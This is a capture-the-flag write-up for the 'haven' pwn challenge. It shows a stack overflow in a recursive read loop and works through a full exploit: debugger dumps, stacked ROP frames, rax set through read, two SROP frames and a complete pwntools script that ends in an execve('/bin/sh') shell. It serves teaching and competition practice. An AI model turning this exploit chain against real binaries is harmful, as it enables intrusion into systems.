Sieberr CTF 7.0 finals pwn
Writeup for haven and split from finals
Table of Contents
Hi
A few days ago my friends and I participated in SCTF 7.0 finals and got 2nd yay!
Managed to first blood haven during comp and upsolved split after.
Thanks to hengwei for slaving away at pwn with me.
haven
Challenge protections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// gcc -o chal chal.c -Wl,-z,relro,-z,now -fno-pie -no-pie
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
void vuln() {
char buf[8]={0};
uint64_t exit=0;
read(0, buf, 32);
if (exit == -1) return;
vuln();
return;
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
_exit(1295);
}
Relatively short and simple source. We have a 32 byte read into an 8 byte buffer, giving us an overflow. We can immediately think of some kind of ROP.
Solve
Let’s first examine the stack layout after entering a few A’s.
It is also good for us to examine the disassembly of vuln().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x0000000000401146 <+0>: push rbp
0x0000000000401147 <+1>: mov rbp,rsp
0x000000000040114a <+4>: sub rsp,0x10
0x000000000040114e <+8>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000401156 <+16>: mov QWORD PTR [rbp-0x8],0x0
0x000000000040115e <+24>: lea rax,[rbp-0x10]
0x0000000000401162 <+28>: mov edx,0x20
0x0000000000401167 <+33>: mov rsi,rax
0x000000000040116a <+36>: mov edi,0x0
0x000000000040116f <+41>: call 0x401050 <read@plt>
0x0000000000401174 <+46>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
0x0000000000401179 <+51>: je 0x401187 <vuln+65>
0x000000000040117b <+53>: mov eax,0x0
0x0000000000401180 <+58>: call 0x401146 <vuln>
0x0000000000401185 <+63>: jmp 0x401188 <vuln+66>
0x0000000000401187 <+65>: nop
0x0000000000401188 <+66>: leave
0x0000000000401189 <+67>: ret
pwndbg> x/20gx 0x7fffffffd8b0
0x7fffffffd8b0: 0x0000000a41414141 0x0000000000000000 <- input, `exit`
0x7fffffffd8c0: 0x00007fffffffd8d0 0x00000000004011c0 <- saved rbp, ret address
0x7fffffffd8d0: 0x0000000000000001 0x00007ffff7e0824a
...
So it look like we are only able to control the 8 byte buffer, the exit variable, saved rbp and return address…. OR ARE WE? 🤔🤔🤔🤔
Notice that vuln() is called recursively until exit is -1.
1
2
3
4
5
6
pwndbg> x/20gx 0x7fffffffd890
0x7fffffffd890: 0x0000000a62626262 0x0000000000000000 <- 2nd time vuln is called
0x7fffffffd8a0: 0x00007fffffffd8c0 0x0000000000401185
0x7fffffffd8b0: 0x0000000a41414141 0x0000000000000000 <- 1st time vuln is called
0x7fffffffd8c0: 0x00007fffffffd8d0 0x00000000004011c0
0x7fffffffd8d0: 0x0000000000000001 0x00007ffff7e0824a
Also notice that whenever vuln() is called, the stack frames are stacked on top of each other.
Thus, if we recursively call vuln(), we can fill the stack with a ROP chain!
I got this idea from a previous challenge I did here from Cyberthon 2025, though that one only gave you a 1 null byte overwrite of saved RBP.
ROP
Of so now we know how to ROP (you can test that it works by placing random gadgets such as ret), but what exactly should we do?
Well…
1
2
3
4
ROPgadget --binary ./chal_patched
...
0x00000000004011c1 : syscall
...
The binary very kindly gives us a syscall, through _exit(1295). Seeing this, SROP comes to mind.
However, for SROP, we need to somehow set our RAX register to be 15 (for syscall 15, rt_sigreturn).
Unfortunately, we do not have any good gadgets for this, so we will have to do it a different way.
Using read
One way that we can do this is by using the read call.
read stores the number of bytes read into the rax register, so if we call read and enter exactly 15 bytes, we will have our rax control.
(sorry im a bit too lazy to include proof and pictures)
SROP
Thus, our workflow will be:
- place sigreturn frame on the stack through recursive calls
- our first frame will be to pivot to bss
- it should call
readagain to set up another chain, this time to call our shell
- place our
readandsyscallcalls - break out of the recursive call, our rop chain now executes
- send 15 bytes to trigger the first frame
- we are now reading into
bss - place another rop chain to call
readagain, as well as place our 2nd sigreturn frame - read 15 bytes for syscall
- this part required a bit more visualisation as you will ovewrite your own rop chain, as such, it is in this read where our
syscallneeds to be placed - you can use gdb with breakpoints/pause to see where exactly your
rsp/execution is before/during/after reading
- this part required a bit more visualisation as you will ovewrite your own rop chain, as such, it is in this read where our
syscallexecutes, we win
Full Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python3
from pwn import *
from sys import argv
e = context.binary = ELF('./chal_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if len(argv) > 1:
ip, port = argv[1].split(":")
conn = lambda: remote(ip, port)
else:
conn = lambda: e.process()
p = conn()
rop = ROP(e)
# gdb.attach(p)
# bss = e.bss() + 0x500
# leave_ret = rop.find_gadget(['leave','ret']).address
# payload = b"A"*8
# payload += p64(0xffffffffffffffff) # stop recursion
# payload += p64(bss) # overwrite saved RBP
# payload += p64(leave_ret)
# p.send(payload)
ret = rop.find_gadget(['ret']).address
syscall = rop.find_gadget(['syscall']).address
# syscall_ret = rop.find_gadget(['syscall','ret']).address
fake_stack = e.bss() + 0x100
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 8+8+248+8
frame.rsp = fake_stack
frame.rip = e.plt.read
# frame+=b'\x00'*(248-224)
frame = bytes(frame)
print(len(frame))
frame += b'\x00'*(248-224)
print(len(bytes(frame)))
payloads = [
frame[0:0x20],
frame[0x20:0x40],
(frame)[0x40:0x60],
(frame)[0x60:0x80],
(frame)[0x80:160],
(frame)[160:192],
(frame)[192:224],
(frame)[224:224+32]
]
print(payloads)
#place frame
p.send(payloads[7])
p.send(payloads[6])
p.send(payloads[5])
p.send(payloads[4])
p.send(payloads[3])
p.send(payloads[2])
p.send(payloads[1])
p.send(payloads[0])
#place read and syscall
payload = p64(ret)+p64(ret)+p64(e.plt.read) + p64(syscall)
# payload
rop = ROP(e)
p.send(payload)
# this part is lowkey useless, you do not need a ret sled
# payload = p64(ret)*4
# for i in range(10):
# p.send(payload)
# p.send(payload)
# pause()
# stop recursion
p.send(b'A'*8+p64(0xffffffffffffffff)+ p64(e.bss()) + p64(ret))
# final payload needs to be aaaaaaaa + 0xffffffffffffffff
# import time
# time.sleep(1)
# pause()
# read 14 B and \n
p.sendline(b'B'*14)
# p.sendline()
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = 0x404218
frame2.rsi = 0
frame2.rdx = 0
frame2.rsp = fake_stack+0x300
frame2.rip = syscall
pause()
# now in bss, place frame and read call
p.send(p64(e.plt.read) + p64(0) +bytes(frame2)+b'/bin/sh\x00')
# read 8 + syscall = 15 bytes
p.send(b'D'*8 + p64(syscall)[:7])
p.interactive()
